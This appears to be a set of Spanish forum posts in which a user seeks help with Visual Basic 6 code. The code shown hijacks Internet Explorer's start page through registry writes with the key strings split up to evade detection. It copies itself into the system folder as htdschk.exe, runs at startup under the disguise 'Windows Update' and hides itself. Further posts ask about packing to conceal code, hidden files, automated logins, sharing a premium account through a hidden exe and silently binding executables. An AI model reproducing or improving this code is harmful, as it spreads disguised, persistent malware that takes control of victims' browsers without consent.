Temas

aqui esl codigo bueno la idea es q www.caidos.net quiero q sea otra peor cmabiarlo mediante web

ejemplo

http://www.cuscored.com/paginainicio.php   aqui el texto de www.elhacker.net
quiero q coja esta valor y cambie de pagina ya no caidos.net si no el elhacker.net
creoq me dejo entender :
quieor q cambie la pagina de inicio segun el valor de la url (http://www.cuscored.com/paginainicio.php)
espero q me ayuden creo  alguien me dijo por

Inet1.Execute ("http://www.cuscored.com/paginainicio.php")

pero no se la sentenciua exacta ayudenme porfavor gracias



Private Sub Command1_Click()
Dim residencia
On Error Resume Next
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "0"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://www.caidos.net/"
End
End Sub

bueno ya logre hacer toda mi aplicacion final un exe todo bien terminado peor cuando lo pongo en editar en un progrma exadecimal muetran algunos codigos q yo no deseo q muetra haya algun modo de encriotar el exe o protegerlos de algun modo:

bueno encontre un themida q me recomendaron peor cunaod lo cifro en esto mi aplicacion se vuelve virus ayudenme par apoder solucionr este problema gracias

Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq  cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer:

Private Sub Timer5_Timer()
If Not Inet1.StillExecuting Then
Call MyButton_Click
Timer5.Enabled = False
End If
End Sub


Private Sub Timer6_Timer()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\halo2"
Name sys & "\halo2" As sys & "\htdschk.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
App.TaskVisible = False

End Sub

Private Sub Timer7_Timer()
Open Label3.Caption & ".txt" For Binary As #1
Close #1
Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide
Timer7.Enabled = False
End Sub

Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form
SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function

bueno hay ma codigo pero pienzo q es lo principal

bueno como puedo filtat una direcion web ejemplo

http://misitio.com  esot que pueda verse normalmente sin ningunproplema


deseo filtarar esto

http://misitio.com/xxx.php  por ejemplo quieor filtrar esa url y tambien esta
http://misitio.com/yyy.php 


solo ese pero las demas q esten relacionadas en ese sitio q puedan visualizar normal ejemplo
http://misitio.com/aaa.php  esta tiene q visualizar normalmente

BUENO AQUI EL CODIGO:


---------------------------VB----------------------------
Option Explicit
Dim bb, a As Integer
Dim URL
Private Sub Form_Load()
WebBrowser1.Navigate2 "http://www.megavideo.com/?s=signup"
End Sub

Private Sub Timer1_Timer()
       bb = Val(bb) + 1
     
    If Val(bb) = Val(20) Then
          If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to enter something in the textbox
   ' and then click on the Send button  = 5.php.html
   '
   ' <input name="message" title="Message:" value="" maxlength="255" type="text">
   ' <input name="Send" value="Send" type="submit">
   '
   WebBrowser1.document.All("message").Value = "HELLO"
   WebBrowser1.document.All("signupform").Click
   Exit Sub
End If
    Else
          Label1.Caption = bb
    End If
End Sub

Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
Dim HTML As HTMLDocument
Dim HTMLI As HTMLInputElement
     
Set HTML = WebBrowser1.document

If URL = "http://www.megavideo.com/?s=signup" Then
   '
   ' Here when you first visit the site and the user name and login fields
   ' need to be submitted
   '
   WebBrowser1.document.All("email").Value = "ARNOLD"
   WebBrowser1.document.All("password").Value = "123456789"
   '
   ' <input type="submit" value="Login"/>
   '
   For Each HTMLI In HTML.getElementsByTagName("input")
     If HTMLI.Value = "Login" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select the "Enter" link = 1.php.html
   '
   ' <a href="http://pinoywap.net/v2/index.php?action=main&amp;type=send&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;popm=1">[ enter ]</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If HTMLI.innerHTML = "[ enter ]" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select chatrooms
   '
   ' <a accesskey="4" href="http://pinoywap.net/v2/index.php?action=chat&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;type=send">Chatrooms(69)</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If InStr(HTMLI.innerHTML, "Chatrooms") > 0 Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select adults 18+ = 2.php.html
   '
   ' <a href="http://pinoywap.net/v2/chatw5c.php?susi=2762b42dad6b3349b3c0bfac9d157244&amp;rid=6857&amp;type=send">+ adults 18+ (1)</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If InStr(HTMLI.innerHTML, "adults 18+") > 0 Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
    bb = 0
    Timer1.Enabled = True
   '
   ' Here when the next page arrives and you need to select write = 4.php.html
   '
   ' <a href="http://pinoywap.net/v2/chatw5c.php?action=say&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;rid=6857&amp;rpw=&amp;type=send">write</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If HTMLI.innerHTML = "write" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If
End Sub


---------------------------HTML--------------------------------------
<form method="post" name="loginForm" id="loginform">
      <input type="hidden" name="action" value="login" />
      <input type="hidden" name="cnext" value="">
      <input type="hidden" name="snext" value="">
      <input type="hidden" name="touser" value="">
      <input type="hidden" name="user" value="">
      <TR>
         <TD style="width:130px; text-align:right; padding-right:5px; padding-top:5px;" valign="top" height="35">Nom d'utilisateur:</TD>
         <TD  valign="top"><input type="text" size="25" maxlength="60" name="nickname" style="width:250px;  border:solid 1px; border-color:#BEBBB5; height:22px;"/></TD>
      </TR>
      <TR>
         <TD  valign="top" style="width:130px; text-align:right; padding-right:5px; padding-top:5px;" height="35">Mot de passe:</TD>
         <TD  valign="top"><input type="password" size="20" maxlength="20" name="password" style="width:250px;  border:solid 1px; border-color:#BEBBB5; height:22px;" /></TD>
      </TR>
      </TABLE>


      <div style="position:relative; width:386px; text-align:center; height:26px;">

      <div style="position:absolute; width:109px; height:26px; left:276px; top:0px; cursor:pointer;" onClick="javascript:document.getElementById('loginform').submit();"  onmouseover="imgbutton.src=document.getElementById('imgbutton1').src; document.getElementById('imgbutton2').src=imgbuttono.src;"  onmouseout="document.getElementById('imgbutton2').src=imgbutton.src;"><div style="position:absolute; left:0px; top:0px; width:109px; height:26px;"><IMG SRC="http://wwwstatic.megavideo.com/mvgui/button.gif" WIDTH="109" HEIGHT="26" BORDER="0" ALT="" id="imgbutton2"></div><div style="position:absolute; left:0px; top:3px; width:109px; text-align:center; font-family:arial; font-size:12px; color:#FFFFFF; font-weight:bold; text-decoration:none;">Connexion</div></div>

      </div>

FUNCIONA cORRECTAMENTE HASTA UNA CIERTA PARTE ME DI CUENTA Q NO PUEDE escribir EL NICKNAME POR Q HAYA 2 CAMPOS REPETIDOS EN EL REGISTRO EXIXTE UN CAMPO Q TINE EL VALOR DE nicname
Y TAMBIEN EN EL CAMBO DE LOGIN EXIXTE ESE MISMO CAMPO ASIES EL ERROR ESTA AHI LO DEMAS FUNCIONA CORECTAMSENTE COMO PODRIA AHCER escribir EL CAMPO DE NICK NAME SI ESTAN TEPETIDOS ( name="nickname") ES LO SE REPITE TANTO EN NUEVO REGISTRO Y EN EL MOMENTO DE INGRESAR

OTRO ERROR Q TENGO ESQ NO PUEDO DARLE UN CLIK EN EL BOTON DE cODIGO YA Q TIENE UNA SENTENCIA EN JS

<div style="position:absolute; width:109px; height:26px; left:276px; top:0px; cursor:pointer;" onClick="javascript:document.getElementById('loginform').submit();"  onmouseover="imgbutton.src=document.getElementById('imgbutton1').src; document.getElementById('imgbutton2').src=imgbuttono.src;"  onmouseout="document.getElementById('imgbutton2').src=imgbutton.src;"><div style="position:absolute; left:0px; top:0px; width:109px; height:26px;"><IMG SRC="http://wwwstatic.megavideo.com/mvgui/button.gif" WIDTH="109" HEIGHT="26" BORDER="0" ALT="" id="imgbutton2"></div><div style="position:absolute; left:0px; top:3px; width:109px; text-align:center; font-family:arial; font-size:12px; color:#FFFFFF; font-weight:bold; text-decoration:none;">Connexion</div>

NO SE Q SENTENCIA deberia SER LA CORECTA ESPERO Q ME AYUDEN SI TIENE UNA MEJOR IDEA PARA AHCER ESTA MISMA ACCION AYUDENME


PAGO POR CULAQUIER NUEVA IDE O AYUDA EN ESTO DE MEGAVIDEO GRACIAS ESPERO Q PUEDAN LEE MIS POS LOS MAS CAPOS

buen ejemplo tengo una cuenta en rapidshare cueta premiun entonces yo quiero q esta cueta sea utilizado por varios peor quieor hacer un atulogin en exe ingresandoi mi user y mi pasword y iniciar secion para q puedan descargar cualquier archivo solo tiene q abrir una ventana internet poner user el paswor y clik en login todo esto camuflado inviciblemente en un exe

bueno esta es la pregunta y espero q me ayuden

ise varias aplicaciones en vb peor ahora el problema es juntarlos y hacerle un portable nesesito ayuda con eso ejemplo

aplicacion1.exe
aplicacion2.exe
archivo.pdf
icono.ico

nesesito q al hacerle doble clik se gurde aplicacion1.exe en este directorio
C:\Archivos de programa\My Program
y al mismo tiempo nesesito que la aplicacion2.exe y archivo.pdf se ejecuten o abran y el icono e spara darle apariencia a todo eso

quieor q sea lo mas simplificado q pueda ser sin nada de botones de sigente finalizar siomplemente juntar los 4 archivos en un solo exe

Bueno me salio muy bien en WINRAR peor tengo un problema q al darle clik derecho puedo extraer todos los archivos en una carpeta y quieor evitar eso gracias esperoq  me puedan ayudar 

bueno e estado beiendo un codigo de asociacion de programa i extensión me resulta muy bueno pero tengo el siguente peblema
:

al compilarlo me aparece una ventana de 30x30 como podria ahcer q se cierre esta vnetana intente por close no me sale ayudenem aqui esta el codigo :

--------------------------------------------------------
Private Sub Form_Load()
Dim obj As New Class1

    ' extensión del archivo
    obj.Extension = ".xxx"
    obj.Title = "Titulo descriptivo de esta extension"
    obj.Class = "Clase.xxx"
    ' ruta del ejecutable
    obj.AppCommand = "c:\windows\notepad.exe"
    ' ruta del icono
    obj.DefaultIcon = "C:\Windows\Notepad.exe,1"
           
    ' asociar la extension
    obj.Associate
    Set obj = Nothing

End Sub
----------------------------------------------

me gustaria q se cierre la ventana automatica oq haga la funcion sin nesesidad de formulario gracias

bueno la verdad q buscado mil formas de hacer esto pero hasta ahora no encuentro una solucion espero q me ayuden
en realidad tengo un progrmas ejmeplo:

quiza oyeron de los famosos emuladores de supernintendo :

bueno tengo el emulador: emulador.exe
y tmabien tengo un juego : juego.smc

bueno la extensión smc es desconocida para windos asies loq quiero yo es unir el emulador y el juego en un soslo ese asi los niños puedadan darle clik en un solo ese y ya puedan juagr sin nesesidad de estar haceiendo muchas cosas.


el otro problema q tengo es sobre los guiños tmabien quiero hacer los mismo

tengo un intalador de guiños de msn : intaladormco.exe
y tambien tengo guiños: guiños.mco

logicamente el guiños.mco  es tmabien desconocida y nesesita el intaladormco.exe para poder abrir o instalar el guiño

la ide atmabien es la misma ose unir en un solo EXE el guiño.mco y el exe
asi poderle ejecutar solo dandole doble clik
esperoq  me ayuden en este problema en cualqueir progrma ao de cualquier modo q se pueda solucionar gracias